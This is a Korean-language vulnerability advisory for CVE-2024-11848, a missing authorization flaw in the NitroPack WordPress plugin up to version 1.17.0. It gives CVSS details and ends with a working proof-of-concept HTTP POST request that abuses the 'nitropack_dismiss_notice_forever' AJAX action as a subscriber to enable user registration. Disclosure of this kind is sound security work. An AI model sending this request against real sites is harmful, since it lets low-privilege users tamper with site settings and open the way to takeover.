CVE-2024-11848

NitroPack <= 1.17.0 - 인증된 구독자 이상 사용자의 제한된 옵션 업데이트를 허용하는 인증 누락 취약점

설명

WordPress용 NitroPack 플러그인은 버전 1.17.0 이하의 모든 버전에서 'nitropack_dismiss_notice_forever' AJAX 액션에 대한 기능 검사가 누락되어 데이터 무단 수정에 취약합니다. 이로 인해 구독자 수준 이상의 인증된 공격자가 임의의 옵션을 고정 값 '1'로 업데이트하여 특정 옵션(예: 사용자 등록 활성화)을 활성화하거나 서비스 거부 상태로 이어지는 방식으로 특정 옵션을 수정할 수 있습니다.

세부 정보

• 유형: 플러그인
• 슬러그: nitropack
• 영향받는 버전: 1.17.0
• CVSS 점수: 8.1
• CVSS 등급: 높음
• CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
• CVE: CVE-2024-11848
• 상태: 활성

POC

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_f0174336378e6db874da2237e8c05ac1=subscriber%7C1737110766%7CYhdLxJv5qLyqmSVznKzPOC94NyU9PAMWPeef9cCtINN%7C8c6d11f15397dfb790e700f695c7480bb8267c86130c402afce6080076ccff2d
Content-Length: 88

action=nitropack_dismiss_notice_forever&security=92f60ea3ea&notice_id=users_can_register